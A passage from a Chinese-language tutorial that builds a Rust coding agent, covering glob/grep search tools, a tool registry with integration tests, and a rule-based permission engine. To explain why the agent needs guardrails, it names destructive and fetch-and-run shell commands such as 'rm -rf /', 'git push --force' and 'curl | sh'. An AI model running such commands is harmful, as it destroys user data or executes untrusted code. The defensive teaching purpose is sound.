        return; // Skip binary/unreadable files
    };
    let display = path.display();
    for (line_no, line) in content.lines().enumerate() {
        if re.is_match(line) {
            matches.push(format!("{display}:{}: {line}", line_no + 1));
        }
    }
}
}

该函数从磁盘读文件,涉及 I/O。使用 tokio::fs::read_to_string 而非 std::fs::read_to_string,可以在等待文件系统时让异步运行时处理其他工作。在支持并发工具执行的真实 agent 中,这一点很重要——慢速 NFS 挂载或大文件不应阻塞整个运行时。

let Ok(content) = ... else { return; } 模式是静默退出。文件无法读取时——是二进制文件、指向已删除文件的符号链接,或用户缺少权限——直接跳过。这对搜索工具是正确行为。LLM 问的是"这个模式出现在哪里",答案只应包含实际能检查的文件。为目录树中每个不可读文件报告错误,只会让有用结果淹没在噪音中。

collect_files 是同步的

#![allow(unused)]
fn main() {
fn collect_files(
    dir: &Path,
    include: &Option<glob::Pattern>,
    out: &mut Vec<std::path::PathBuf>,
) {
    let Ok(entries) = std::fs::read_dir(dir) else {
        return;
    };
    for entry in entries.flatten() {
        let path = entry.path();
        if path.is_dir() {
            if path
                .file_name()
                .is_some_and(|n| n.to_string_lossy().starts_with('.'))
            {
                continue;
            }
            collect_files(&path, include, out);
        } else if path.is_file() {
            if let Some(glob) = include {
                let name = path
                    .file_name()
                    .map(|n| n.to_string_lossy().to_string())
                    .unwrap_or_default();
                if !glob.matches(&name) {
                    continue;
                }
            }
            out.push(path);
        }
    }
}
}

目录遍历很快——只读取元数据,不读取文件内容。变成异步会增加复杂度(递归异步函数需要装箱),却没有实质性的性能提升。同步的 std::fs::read_dir 在这里完全够用。

三个值得注意的细节:

跳过隐藏目录。 名称以 . 开头的目录整个跳过。排除了 .git.cargo.vscode、以点前缀隐藏的 node_modules 等——这些几乎不是 LLM 想搜索的地方。没有这个过滤,对项目目录的 grep 会把大部分时间花在扫描 .git/objects——数千个二进制 blob 文件,不会产生任何有用匹配。

include 过滤器。 存在时,glob 模式只对文件名称(不是完整路径)匹配。"*.rs" 匹配 src/main.rs,检查的是 main.rs 本身。这符合直觉——LLM 说"只搜索 Rust 文件"时,指的是以 .rs 结尾的文件,无论在目录树的哪一层。

排序。 收集完所有文件后,在搜索前排序。确保输出顺序确定。没有排序,read_dir 以文件系统顺序返回条目,在不同操作系统乃至同一系统的不同运行间都会不同。确定性的输出让测试可靠,也让 LLM 的体验保持一致。


为什么要设计成两个独立工具

你可能会想:为什么不用一个带 mode 参数的 SearchTool?答案在于 LLM 的决策方式。

LLM 在 schema 中看到两个独立工具——一个叫 glob 描述为"按模式查找文件",一个叫 grep 描述为"用正则搜索文件内容"——能立刻将意图映射到正确的工具。"找所有测试文件"对应 glob;"找 parse_sse_line 的定义位置"对应 grep。

mode: "files" | "content" 参数的合并工具增加了一层决策。LLM 需要更仔细地阅读 schema,理解 mode 字段,还要正确填写。对于较小的模型,这层额外的间接性会导致错误——以错误的 mode 调用,或完全省略 mode 参数。

Claude Code 保持它们分开,我们也一样。

还有个实际原因:两者的参数集不同。Glob 接收 glob 模式和基础路径;Grep 接收正则模式、路径和 include 过滤器。合并意味着 LLM 总会看到与当前操作无关的参数,既浪费上下文 token,也增加混淆的可能性。


Claude Code 的做法

我们的实现是核心协议——不到 200 行捕获了本质行为。Claude Code 的生产版本要复杂得多。

Claude Code 的 Glob 内部使用 ripgrep 以提升速度。在拥有数十万文件的大型代码库中,glob crate 的纯 Rust 实现可能较慢。Ripgrep 的目录遍历器针对这种场景做了优化,遵守 .gitignore 规则并并行化遍历。Claude Code 的 Glob 还支持按修改时间排序结果(最近修改的文件优先,通常正是 LLM 想要的),并限制结果数量,避免淹没上下文窗口。

Claude Code 的 Grep 同样有所增强。支持上下文行(-A-B-C 标志)以显示周边代码,帮助 LLM 理解匹配内容,无需额外的 read 调用。提供多种输出模式:显示匹配行(默认)、只显示文件路径(用于统计)或显示每个文件的匹配数量。文件类型过滤使用 ripgrep 的内置类型系统而非 glob 模式,--type rust 知道 .rs 文件、Cargo.tomlbuild.rs,无需用户拼写 glob。

我们的版本省略了所有这些,使用 glob crate 而非 ripgrep,没有上下文行、没有输出模式、没有结果限制。但拥有正确的协议:LLM 发送模式,得到可解析格式的匹配结果。其余都是优化。之后想升级,Tool trait 接口保持不变——只有 call() 的内部实现会改变。


测试

GlobTool 和 GrepTool 是扩展工具,starter 和参考实现均未为它们提供测试。以下断言描述的是在构建这些工具时应当编写的测试用例——它们是工具应当满足的契约。将工具代码复制到 mini-claw-code-starter/src/tools/ 并编写这些测试后,可以通过以下命令运行:

cargo test -p mini-claw-code-starter grep

推荐的测试用例:

GlobTool 测试

test_grep_glob_find_files:创建包含 a.rsb.rsc.txt 的临时目录,glob 匹配 *.rs,验证两个 .rs 文件出现在结果中,.txt 文件不出现。

test_grep_glob_recursive:创建临时目录,根目录有 top.rs,子目录 sub/deep.rs,glob 匹配 **/*.rs,验证两个文件都被找到,确认递归下降有效。

test_grep_glob_no_matches:创建包含 file.txt 的临时目录,glob 匹配 *.xyz,验证结果包含 "no files matched"

test_grep_glob_definition:验证工具定义的名称为 "glob"

GrepTool 测试

test_grep_grep_single_file:创建包含 fn main()println!("hello") 的文件,grep 搜索 "println",验证匹配结果包含内容和正确行号(:2:)。

test_grep_grep_directory:创建两个文件,均包含 fn foo(),对目录 grep 搜索 "fn foo",验证两个文件都出现在结果中。

test_grep_grep_with_include:创建 code.rsdata.txt,均包含 "hello world",带 include: "*.rs" 进行 grep,验证结果中只出现 .rs 文件。

test_grep_grep_no_matches:创建文件并 grep 不存在的模式,验证结果包含 "no matches found"

test_grep_grep_regex:创建包含 foo123bar456baz789 的文件,用正则 \d{3}(三个数字)进行 grep,验证三行都匹配,确认支持真正的正则而非普通字符串匹配。

test_grep_grep_nonexistent_path:对不存在的路径进行 grep,验证结果是错误。

test_grep_grep_definition:验证工具定义的名称为 "grep"


小结

本章添加了两个让 agent 能够发现和导航代码的搜索工具:

  • GlobTool 按名称模式查找文件。接收 **/*.rs 这样的 glob,每行返回一个匹配路径。使用 glob crate 进行模式匹配,未提供基础路径时默认当前目录。

  • GrepTool 按正则搜索文件内容。接收 fn main 这样的模式,以 path:line_no: content 格式返回匹配结果。支持限定到文件或目录,以及通过 include 参数按文件类型过滤。两个辅助函数分工明确:search_file(异步,处理 I/O)和 collect_files(同步,遍历目录树)。

  • 两个工具都是只读的。 从不修改文件系统。在带安全标志的生产 agent 中,会被标记为只读且并发安全。

  • 分开设计是刻意为之。 Glob 回答"有哪些文件",Grep 回答"内容在哪里"。两个目的明确的工具,比一个带模式切换的工具更易于 LLM 正确使用。

  • 这些是扩展工具。 starter 不包含 GlobTool 或 GrepTool 的桩代码。如果你想添加,按照上面展示的模式从头创建文件,并在 src/tools/mod.rs 中注册。

核心要点

搜索工具让 coding agent 从只能编辑已知文件,变成能够探索和理解陌生代码库。两工具分工(glob 负责名称,grep 负责内容)直接对应开发者导航代码时的两个问题:"有哪些文件?"和"这个东西在哪里?"保持分开,为 LLM 提供清晰、无歧义的接口来回答各自的问题。

有了搜索工具,agent 可以自主探索陌生的代码库。面对"找出并修复 parser 中的 bug"这样的 prompt,它可以 glob 源文件、grep parser 代码、读取相关文件,然后用第 9 章的 write 和 edit 工具进行修改。工具套件正在趋于完整。

自我检测


← 第 10 章:Bash 工具 · 目录 · 第 12 章:工具注册表 →

第 12 章:工具注册表

需要编辑的文件: src/types.rs(ToolSet) 需要运行的测试: cargo test -p mini-claw-code-starter test_multi_tool_(集成测试) 预计时间: 30 分钟

五个工具,一个 SimpleAgent。本章把它们连起来。

目标

  • 实现 default_tools() 辅助函数,把所有工具装进一个 ToolSet,让 agent 能按名称找到并分发它们。
  • ToolSet 接入 SimpleAgent,让 LLM 看到所有工具的 schema,agent 能把调用派发到正确的工具。
  • 优雅处理未知工具调用,返回错误字符串让 LLM 自行恢复。
  • 跑完整的集成测试套件,验证真实工具在 agent 循环里产生真实副作用。

前几章你逐一构建了让 agent 与外部世界交互的工具——文件读写(第 9 章)、命令执行(第 10 章)、可选的模式搜索(第 11 章)。每个工具实现了 Tool trait,有 JSON schema,返回 String。但它们各自孤立。agent 无法发现它们,无法把 schema 暴露给 LLM,也无法按名称派发调用。

工具注册表就是这座桥。它把所有可用工具统一存放在一个 ToolSet 里,把 schema 暴露给 LLM,再按名称把调用路由到正确的实现。本章结束后,你将拥有功能完整的编程 agent,能读文件、写文件、编辑文件、执行命令——完整的工具循环,用的是真实工具,不再是测试替身。

cargo test -p mini-claw-code-starter test_multi_tool_

模块布局

所有工具实现放在 src/tools/ 下,每个工具一个文件:

src/tools/
  mod.rs       -- 重新导出所有内容
  ask.rs       -- AskTool(额外功能)
  bash.rs      -- BashTool
  edit.rs      -- EditTool
  read.rs      -- ReadTool
  write.rs     -- WriteTool

mod.rs 是个扁平的桶文件(barrel file):

#![allow(unused)]
fn main() {
mod ask;
mod bash;
mod edit;
mod read;
mod write;

pub use ask::*;
pub use bash::BashTool;
pub use edit::EditTool;
pub use read::ReadTool;
pub use write::WriteTool;
}

每个工具是独立的文件,只有一个公开结构体。mod.rs 重新导出这些结构体,下游代码直接写 use crate::tools::{ReadTool, WriteTool},不用深入各子模块。

这种扁平结构是刻意的。不存在把 ReadToolWriteToolEditTool 归在一起的 tools/file/mod.rs。原因:工具总是被单独引用——注册的是 ReadTool::new(),不是 FileTools::all()。扁平结构让导入路径短,心智模型也更简单。5 个工具时这显然没问题。Claude Code 有 40 多个工具,依然用类似的扁平布局——每个工具是自己的模块,只有一个导出。


Rust 核心概念:trait 对象与动态分发

ToolSet 把工具存为 Box<dyn Tool>——一种抹去具体类型的 trait 对象。这样 ReadToolWriteToolEditToolBashTool 尽管实现各异,通过指针后都成了同一种类型。HashMap<String, Box<dyn Tool>> 是背后的数据结构:把工具名称映射到 trait 对象,agent 在运行时就能按字符串名称查找任意工具。

这就是动态分发。agent 调用 tool.call(args) 时,编译器在编译期不知道该调哪个 call() 方法,而是通过 vtable——附在 trait 对象上的函数指针表——在运行时找到正确实现。代价是每次调用多一次指针间接寻址,与工具执行的 I/O 和网络操作相比,这点开销可以忽略不计。


构建 ToolSet

你在第 4 章定义的 ToolSet 是个带构建器 API 的 HashMap<String, Box<dyn Tool>>。现在正式用起来。下面是组装标准工具集的辅助函数:

#![allow(unused)]
fn main() {
fn default_tools() -> ToolSet {
    ToolSet::new()
        .with(ReadTool::new())
        .with(WriteTool::new())
        .with(EditTool::new())
        .with(BashTool::new())
}
}

四次 .with() 调用,每个工具一次。每次调用构造工具,从 ToolDefinition 里提取名称,插入内部 HashMap。构建器模式意味着顺序无关——工具按名称为键,不按位置。(AskTool 需要 InputHandler,需要用户输入时单独注册。)

构建完成后,ToolSet 支持 agent 所需的操作:

#![allow(unused)]
fn main() {
let tools = default_tools();

// 按名称查找工具(返回 Option<&dyn Tool>)
let read = tools.get("read").unwrap();

// 获取 LLM 所需的所有 schema
let defs: Vec<&ToolDefinition> = tools.definitions();
}

definitions()SimpleAgent 在每轮循环开始时调用的方法,用来告诉 LLM 哪些工具可用。每个定义包含工具的名称、描述和参数的 JSON Schema。LLM 用这些信息决定何时调用哪个工具、怎么调。

get() 是 agent 在派发时调用的——LLM 说 "name": "read",agent 执行 tools.get("read"),用提供的参数调用返回工具的 .call() 方法。


工具分类(扩展概念)

工具不是生而平等的。starter 版本把 Tool trait 简化成只有 definition()call()。但在生产级 agent 中,工具带有描述行为的元数据——是否只读、是否并发安全、是否具有破坏性。这些标志驱动权限引擎、计划模式和并发执行决策。

工具大致分三类:

只读工具:ReadTool(以及 GlobTool、GrepTool,如果加了的话)

这些工具只观察文件系统,不修改它。读文件、按 glob 列路径、用正则搜索内容——都没有副作用,可以并行运行,也可以在只读计划模式下安全运行。

写工具:WriteTool、EditTool

写入和编辑会修改文件,不是只读的。两次写入同一文件会产生竞争,所以不是并发安全的。但文件写入是可恢复的(git 可以回退),算不上破坏性操作。

破坏性工具:BashTool

BashTool 是最危险的。它能运行任意 shell 命令——rm -rf /git push --forcecurl | sh。生产级 agent 会把它标记为破坏性,需要用户明确批准。

为什么分类重要

在生产级 agent 中,分类组合成权限层次:

分类计划模式自动批准默认模式
只读允许允许允许
写入拒绝允许询问用户
破坏性拒绝询问用户询问用户

starter 还没有实现这些分类——那是后续章节的扩展内容。目前 SimpleAgent 对 LLM 请求的每个工具调用都无条件执行。


工具分发流程

从 LLM 请求工具到结果返回的完整流程:

flowchart TD
    A["LLM responds with<br/>StopReason::ToolUse"] --> B["For each ToolCall"]
    B --> C{"tools.get(name)?"}
    C -->|Some| D["tool.call(args)"]
    C -->|None| E["Return error:<br/>unknown tool"]
    D --> F["Push ToolResult<br/>into message history"]
    E --> F
    F --> G["Call provider.chat()<br/>with updated history"]
    G --> H{"StopReason?"}
    H -->|ToolUse| B
    H -->|Stop| I["Return final text"]

将工具接入 SimpleAgent

前几章的 SimpleAgent 通过构建器 API 接收工具,可以逐个添加:

#![allow(unused)]
fn main() {
let agent = SimpleAgent::new(provider)
    .tool(ReadTool::new())
    .tool(WriteTool::new())
    .tool(EditTool::new())
    .tool(BashTool::new());
}

.tool() 方法内部调用 self.tools.push(t),从工具定义中提取名称并插入 HashMap

构建完成后,agent 接管整个派发流程。LLM 以 StopReason::ToolUse 响应并带上一组 ToolCall 时,agent 会:

  1. ToolSet 中按名称查找每个工具
  2. 调用 call() 执行工具
  3. 把结果打包成 Message::ToolResult 追加到对话中

如果 LLM 请求注册表里不存在的工具,agent 返回 "error: unknown tool \foo`"`。模型看到错误后可以调整。


集成:写入、读取、响应

test_multi_tool_write_and_read_flow 测试演示了使用真实工具的完整三轮交互。逐步追踪一下。

测试创建临时目录,为 MockProvider 预设三个响应:

#![allow(unused)]
fn main() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("test.txt");
let path_str = path.to_str().unwrap().to_string();

let provider = MockProvider::new(VecDeque::from([
    // 第 1 轮:写入文件
    AssistantTurn {
        text: None,
        tool_calls: vec![ToolCall {
            id: "c1".into(),
            name: "write".into(),
            arguments: json!({
                "path": path_str,
                "content": "hello from agent"
            }),
        }],
        stop_reason: StopReason::ToolUse,
        usage: None,
    },
    // 第 2 轮:读回文件
    AssistantTurn {
        text: None,
        tool_calls: vec![ToolCall {
            id: "c2".into(),
            name: "read".into(),
            arguments: json!({ "path": path_str }),
        }],
        stop_reason: StopReason::ToolUse,
        usage: None,
    },
    // 第 3 轮:最终回答
    AssistantTurn {
        text: Some("Done! I wrote and read the file.".into()),
        tool_calls: vec![],
        stop_reason: StopReason::Stop,
        usage: None,
    },
]));
}

agent 只注册需要的工具:

#![allow(unused)]
fn main() {
let agent = SimpleAgent::new(provider)
    .tool(ReadTool::new())
    .tool(WriteTool::new());
}

循环追踪:

第 1 轮——写入。 agent 调用 provider.chat(),收到 StopReason::ToolUse 加上 write 工具调用。在 ToolSet 里查找 "write",找到 WriteTool,用 {"path": "/tmp/.../test.txt", "content": "hello from agent"} 调用它。WriteTool 在磁盘上创建文件。agent 把 Message::Assistant(turn)Message::ToolResult 追加到对话历史。

第 1 轮后的消息历史:

[User]         "write and read a file"
[Assistant]    tool_calls: [write(path, content)]
[ToolResult]   "wrote /tmp/.../test.txt"

第 2 轮——读取。 agent 带着更新后的历史再次调用 provider.chat()。mock 返回 read 工具调用。agent 查找 "read",用 {"path": "/tmp/.../test.txt"} 调用 ReadToolReadTool 读取上一轮 WriteTool 创建的文件,返回内容。

第 2 轮后的消息历史:

[User]         "write and read a file"
[Assistant]    tool_calls: [write(path, content)]
[ToolResult]   "wrote /tmp/.../test.txt"
[Assistant]    tool_calls: [read(path)]
[ToolResult]   "hello from agent"

第 3 轮——最终回答。 agent 再次调用 provider.chat()。mock 返回 StopReason::Stop 加上文本。agent 追加最终的 assistant 消息,把文本返回给调用方。

测试验证两件事:返回文本包含 "Done!",文件确实在磁盘上存在且内容正确。这证实了真实工具在 agent 循环里产生了真实副作用。

#![allow(unused)]
fn main() {
let result = agent.run("write and read a file").await.unwrap();
assert!(result.contains("Done!"));
assert_eq!(
    std::fs::read_to_string(&path).unwrap(),
    "hello from agent"
);
}

错误恢复:幻觉工具

test_simple_agent_unknown_tool 测试演示 LLM 请求不存在的工具时会发生什么。这不是假设——模型经常凭空编造工具名称,小模型或工具列表较长时尤其如此。

mock provider 预设了两个响应:

#![allow(unused)]
fn main() {
let provider = MockProvider::new(VecDeque::from([
    // LLM 产生了工具幻觉
    AssistantTurn {
        text: None,
        tool_calls: vec![ToolCall {
            id: "c1".into(),
            name: "imaginary_tool".into(),
            arguments: json!({}),
        }],
        stop_reason: StopReason::ToolUse,
        usage: None,
    },
    // LLM 看到错误后恢复
    AssistantTurn {
        text: Some("Sorry, that tool doesn't exist.".into()),
        tool_calls: vec![],
        stop_reason: StopReason::Stop,
        usage: None,
    },
]));

let agent = SimpleAgent::new(provider).tool(ReadTool::new());
let result = agent.run("do something").await.unwrap();
assert!(result.contains("doesn't exist"));
}

发生了什么:

第 1 轮。 LLM 要求调用 "imaginary_tool"。agent 执行 tools.get("imaginary_tool"),得到 None,返回 "error: unknown tool \imaginary_tool`"。这条错误消息作为 Message::ToolResult` 推入对话。循环继续。

第 2 轮。 LLM 在对话历史里看到错误,生成一个承认错误的文本响应。agent 正常返回。

agent 没有崩溃,没有 panic,没有返回 Err。它把未知工具当作可恢复错误,让模型自行调整。这是生产级 agent 的正确行为。模型会出错,agent 得能扛住。

同样的模式也适用于其他失败场景:工具返回执行错误,或工具遭遇 I/O 失败。每种情况下,模型都会看到描述性错误消息,可以调整策略。


Claude Code 是如何做的

Claude Code 的工具注册表规模大得多,但架构相同。

规模。 Claude Code 注册了 40 多个工具,覆盖文件操作、git、浏览器、notebooks、MCP(Model Context Protocol)等。每个工具有权限元数据、成本提示和丰富的终端渲染。我们的五个工具(四个核心工具加 AskTool)覆盖了基本能力——协议相同,范围更小。

动态注册。 我们的 ToolSet 在启动时构建,之后不变。Claude Code 的注册表是动态的——用户配置 MCP 服务器时,MCP 工具在运行时被发现并注册。工具可以在会话中途出现或消失。你在第 4 章构建的 ToolSet::push() 支持这种模式,只是我们还没用到。

工具分组。 Claude Code 把工具组织成权限组。文件工具、git 工具、shell 工具各有组级别的允许/拒绝规则。我们的扁平 ToolSet 更简单——权限引擎实现后会按工具元数据逐一检查。

使用统计。 Claude Code 追踪每个工具的调用频率、每次调用耗时、每次结果消耗的 token 数。这些数据输入 TUI 状态显示,辅助成本估算。本书不涉及使用统计,不过第 4 章的 TokenUsage 类型提供了消息级别的起点。

差异归根结底,核心协议完全一样:LLM 看到工具 schema 列表,选择一个调用,agent 按名称查找工具、执行、把结果返回。权限、分组、统计、动态注册——都是围绕这次查找的编排。


测试

运行集成测试:

cargo test -p mini-claw-code-starter test_multi_tool_

主要测试:

  • test_multi_tool_write_and_read_flow — agent 写入文件后读回,验证文件在磁盘上存在且内容正确。
  • test_multi_tool_edit_flow — agent 用字符串替换编辑现有文件,读回结果。
  • test_multi_tool_bash_then_report — agent 运行 shell 命令并报告输出。
  • test_multi_tool_write_edit_read_flow — 完整流程:写入、编辑、读回。确认工具链正确衔接。
  • test_multi_tool_all_four_tools — agent 在单次会话中使用 bash、write、edit、read,覆盖完整工具集。
  • test_multi_tool_multiple_writes — agent 依次写入两个独立文件。
  • test_multi_tool_read_multiple_files — agent 在单轮中并行读取两个文件。
  • test_multi_tool_five_step_conversation — 五步流程(bash、write、read、edit、read),验证长多工具会话。
  • test_multi_tool_chat_basic — 验证 chat() 方法处理简单纯文本响应。
  • test_multi_tool_chat_with_tool_call — 验证 chat() 的工具派发和消息历史增长。
  • test_multi_tool_chat_multi_turn — 用 chat() 进行两轮对话,消息历史持续累积。

关键要点

工具注册表本质上是一次 HashMap 查找:LLM 给出工具名称,agent 找到对应实现,调用它。名称派发加 trait 对象这层间接——让你能在不改动 agent 循环的情况下增删工具。


本章回顾

第二部分完成。四章下来,你构建了基本编程 agent 所需的全套工具:

  • ReadTool 带行号、偏移量和限制地读取文件。
  • WriteTool 创建和覆写文件,按需创建父目录。
  • EditTool 在现有文件里精确执行字符串替换。
  • BashTool 执行 shell 命令,支持超时和退出码报告。
  • GlobTool 在目录树中按模式查找文件。
  • GrepTool 用正则表达式搜索文件内容,支持上下文行。

本章通过 ToolSet 注册表把它们全部串联,接入 SimpleAgent。agent 现在可以接收用户提示,带上所有工具 schema 发给 LLM,执行模型请求的任意工具,循环直到模型给出最终答案。一个可运行的编程 agent,就此完成。

但能运行不等于安全。目前引擎对 LLM 请求的每个工具调用都无条件执行。模型说 bash("rm -rf /"),引擎就跑。模型用垃圾覆盖源文件,引擎就写。没有护栏,没有确认提示,没有安全检查。工具标志(is_read_onlyis_destructive)存在,但没有任何东西来执行它们。


下一步

第三部分——安全与控制——给可运行的 agent 加上护栏,让它变得可信:

  • 第 13 章:权限引擎 — 在执行前检查每个工具调用的系统。评估权限规则,遵守权限模式,必要时向用户询问。
  • 第 14 章:安全检查 — 对工具参数的静态分析。在权限提示出现之前捕获危险模式(rm -rfgit push --force)。
  • 第 15 章:Hook 系统 — 在工具执行前后运行 shell 命令的 pre-tool / post-tool hook。让用户强制执行自定义策略(编辑后运行 linter,阻止特定路径)。
  • 第 16 章:计划模式 — 只有只读工具能运行的受限执行模式。agent 可以分析和规划,但不能修改。is_read_only() 在这里最终得到执行。

第二部分构建的工具是 agent 的双手。第三部分教它何时动手——以及何时该收手。

自我检测


← 第 11 章:搜索工具 · 目录 · 第 13 章:权限引擎 →

第 13 章:权限引擎

需要编辑的文件: src/permissions.rs 需要运行的测试: cargo test -p mini-claw-code-starter permissions 预计时间: 40 分钟

你的 agent 会执行 LLM 告诉它的任何事情。

想一想这句话。第 1 至 12 章你构建了功能完整的编程 agent,多种工具齐备。LLM 可以读文件、写文件、编辑文件、执行任意 shell 命令。SimpleAgent 忠实派发模型请求的每个工具调用。模型说 bash("rm -rf /"),agent 就跑。模型用垃圾覆盖你的源文件,agent 就写。模型想从网上 curl | sh 点什么,agent 就 curl。LLM 的请求和工具的执行之间,什么都没有。

这对教程来说无所谓。对真实代码库上运行的软件,则不行。

第 13 章来改变这一点。我们构建 PermissionEngine——每次工具调用执行前的守门人。它夹在 SimpleAgent 和工具之间,对每次调用给出三种答案之一:静默允许、拒绝,或向用户请求批准。决定取决于配置的规则、默认权限,以及用户在本次会话中是否已批准过该工具。

这是第三部分"安全与控制"的第一章。本章结束后,agent 不再盲目服从 LLM,会先请示权限。

cargo test -p mini-claw-code-starter permissions

目标

  • glob::Pattern 实现 PermissionRule::matches(),让规则能用通配符匹配工具名称(如 "mcp__*" 匹配所有 MCP 工具)。
  • 构建带三阶段评估流程的 PermissionEngine:会话批准、有序规则、默认权限。
  • 为常用配置提供便捷构造函数(ask_by_defaultallow_all)。
  • 记录会话批准,用户一旦批准某个工具,本次会话剩余时间内持续有效。

问题:信任的光谱

不是每次工具调用的风险都一样。读文件无害。写文件可恢复(git 能回退)。运行 rm -rf / 是灾难。好的权限系统应该区别对待。

同时,不同用户想要的控制力度也不同。有人想批准每个操作,有人只想批准危险操作,有人在跑自动化流程、根本不要提示,还有人处于计划模式,agent 只能观察,不能修改。

两个维度:

  1. 工具风险级别 — 这个工具有多危险?
  2. 用户信任级别 — 用户想要多少控制?(权限规则和默认权限。)

权限引擎把两个维度合并成一个决策。规则用 glob 模式匹配工具名称,没有规则匹配时用默认权限兜底。这样用户就能精细控制哪些工具需要批准。


权限类型

权限系统在 src/permissions.rs 里引入了几个新类型,逐一过一遍。

Permission:决策

#![allow(unused)]
fn main() {
#[derive(Debug, Clone, PartialEq)]
pub enum Permission {
    /// Tool call is allowed without asking.
    Allow,
    /// Tool call is blocked without asking.
    Deny,
    /// User must be prompted for approval.
    Ask,
}
}

三个变体,对应每种可能结果。Allow 表示立即执行——无提示,无延迟。Deny 表示完全阻止——工具不会运行。Ask 表示暂停,向用户显示提示。

starter 里 DenyAsk 是没有字符串载荷的单元变体。工具调用被拒绝或需要批准时,由调用方负责向用户或模型提供上下文。

PermissionRule:匹配工具名称

#![allow(unused)]
fn main() {
#[derive(Debug, Clone)]
pub struct PermissionRule {
    /// Glob pattern matching tool names (e.g. "bash", "write", "*").
    pub tool_pattern: String,
    /// The permission to assign when the pattern matches.
    pub permission: Permission,
}
}

规则让用户给特定工具分配权限。PermissionRule 用 glob 模式(glob::Pattern crate)匹配工具名称,分配权限:始终允许、始终拒绝或始终询问。

比如,你可以加一条规则无需提示就允许 write——因为你在这个项目里信任模型写文件。或者加一条完全拒绝 bash 的规则——这是以读取为主的分析任务,不想有任何命令执行。

matches() 方法用 glob::Pattern 匹配:

#![allow(unused)]
fn main() {
impl PermissionRule {
    pub fn new(tool_pattern: impl Into<String>, permission: Permission) -> Self {
        Self {
            tool_pattern: tool_pattern.into(),
            permission,
        }
    }

    /// Check if this rule matches a tool name.
    /// Uses glob::Pattern for pattern matching, falling back to
    /// exact string comparison if the pattern is invalid.
    pub fn matches(&self, tool_name: &str) -> bool {
        // Your implementation: use glob::Pattern::new(&self.tool_pattern)
        unimplemented!()
    }
}
}

规则优先于默认权限。关键的设计原则:具体的覆盖比通用策略更优先。


PermissionEngine

类型定义好之后,构建引擎本身。打开 src/permissions.rs

#![allow(unused)]
fn main() {
pub struct PermissionEngine {
    rules: Vec<PermissionRule>,
    default_permission: Permission,
    /// Session-level overrides (tool calls the user has already approved).
    session_allows: std::collections::HashSet<String>,
}
}

三个字段:

  • rules — 有序的权限规则列表。第一个匹配的规则获胜。
  • default_permission — 没有规则匹配时的兜底权限。交互场景通常是 Permission::Ask,旁路模式是 Permission::Allow
  • session_allows — 用户在本次会话中已批准的工具名称集合。

构造函数提供常见配置:

#![allow(unused)]
fn main() {
impl PermissionEngine {
    pub fn new(rules: Vec<PermissionRule>, default_permission: Permission) -> Self {
        // Your implementation: store rules, default_permission, and empty session_allows HashSet
        unimplemented!()
    }

    /// Create an engine that asks for everything by default.
    pub fn ask_by_default(rules: Vec<PermissionRule>) -> Self {
        Self::new(rules, Permission::Ask)
    }

    /// Create an engine that allows everything (no permission checks).
    pub fn allow_all() -> Self {
        Self::new(vec![], Permission::Allow)
    }
}
}

ask_by_default() 是标准交互配置——没有规则覆盖的工具都提示用户。allow_all() 是旁路模式——没有规则,没有提示。会话批准从空开始,随着用户与 agent 交互逐渐积累。


评估流程

引擎核心是 evaluate 方法。接收工具名称和参数,返回 Permission。三个阶段按顺序执行,第一个给出明确答案的阶段获胜。

flowchart TD
    A["evaluate(tool_name, args)"] --> B{"tool_name in<br/>session_allows?"}
    B -->|Yes| C["Return Allow"]
    B -->|No| D{"Any rule<br/>matches?"}
    D -->|Yes| E["Return rule.permission"]
    D -->|No| F["Return default_permission"]
#![allow(unused)]
fn main() {
pub fn evaluate(&self, tool_name: &str, _args: &Value) -> Permission {
    // Stage 1: session approvals
    if self.session_allows.contains(tool_name) {
        return Permission::Allow;
    }

    // Stage 2: rules in order (first match wins)
    for rule in &self.rules {
        if rule.matches(tool_name) {
            return rule.permission.clone();
        }
    }

    // Stage 3: default
    self.default_permission.clone()
}
}

逐阶段过一遍。

第一阶段:会话批准

#![allow(unused)]
fn main() {
if self.session_allows.contains(tool_name) {
    return Permission::Allow;
}
}

用户在当前会话中已批准过的工具,直接允许。会话批准在用户对 Ask 提示回答"是"时记录。一旦批准,该工具在本次会话剩余时间内无需再提示。

会话批准是按工具的,不是全局的。批准 write 不会批准 bash。这是有意为之——用户应该为每个信任的工具单独做决定。

第二阶段:权限规则

#![allow(unused)]
fn main() {
for rule in &self.rules {
    if rule.matches(tool_name) {
        return rule.permission.clone();
    }
}
}

没有会话批准匹配,检查配置的规则。规则按顺序评估——第一条 matches() 返回 true 的规则获胜。

关键设计选择:第一个匹配的规则获胜。如果有两条规则:

1. bash  -> Deny
2. *     -> Allow

bash 命中规则 1 被拒绝;其他所有工具命中规则 2 被允许。顺序反过来,规则 2 先匹配一切,规则 1 永远不会触发。

matches()glob::Pattern 匹配,比简单字符串比较表达力更强。"bash" 只匹配 "bash""*" 匹配一切;"file_*" 匹配 "file_read""file_write" 等。

第三阶段:默认权限

#![allow(unused)]
fn main() {
self.default_permission.clone()
}

没有会话批准匹配,也没有规则匹配,回退到构建时设置的默认权限。ask_by_default()Permission::Askallow_all()Permission::Allow


Rust 核心概念:glob::Pattern crate

glob crate 提供文件系统风格的模式匹配。glob::Pattern::new("mcp__*") 编译一个模式,.matches("mcp__fs__read") 拿它测试字符串。主要操作符:*(匹配任意字符序列)、?(匹配任意单个字符)、[abc](匹配集合中任意字符)。与正则表达式不同,glob 模式故意简单——匹配整个字符串而非子字符串,没有回溯。快,且对工具名称匹配来说直观。

Pattern::new() 返回 Result,因为模式字符串可能语法无效(如未闭合的括号)。回退到精确字符串比较处理这种边缘情况。


用 glob 做模式匹配

PermissionRule::matches()glob crate 匹配:

#![allow(unused)]
fn main() {
pub fn matches(&self, tool_name: &str) -> bool {
    glob::Pattern::new(&self.tool_pattern)
        .map(|p| p.matches(tool_name))
        .unwrap_or(self.tool_pattern == tool_name)
}
}

两种情况:

  • 有效的 glob 模式glob::Pattern::new() 成功,用 glob 语义匹配工具名称:"*" 匹配一切,"file_*" 匹配 "file_read""file_write" 等,"bash" 只匹配 "bash"
  • 无效的 glob — 回退到精确字符串比较。这是安全网——实际使用中工具名称模式很简单,基本总是有效的。

glob::Pattern 而非手写匹配,获得完整的 glob 语义——字符类([abc])、备选和正确的通配符处理——无需自定义代码。


会话批准

evaluate 返回 Permission::Ask 时,调用方(通常是 SimpleAgent 或 UI 层)提示用户。用户同意,调用方记录批准:

#![allow(unused)]
fn main() {
pub fn record_session_allow(&mut self, tool_name: &str) {
    self.session_allows.insert(tool_name.to_string());
}
}

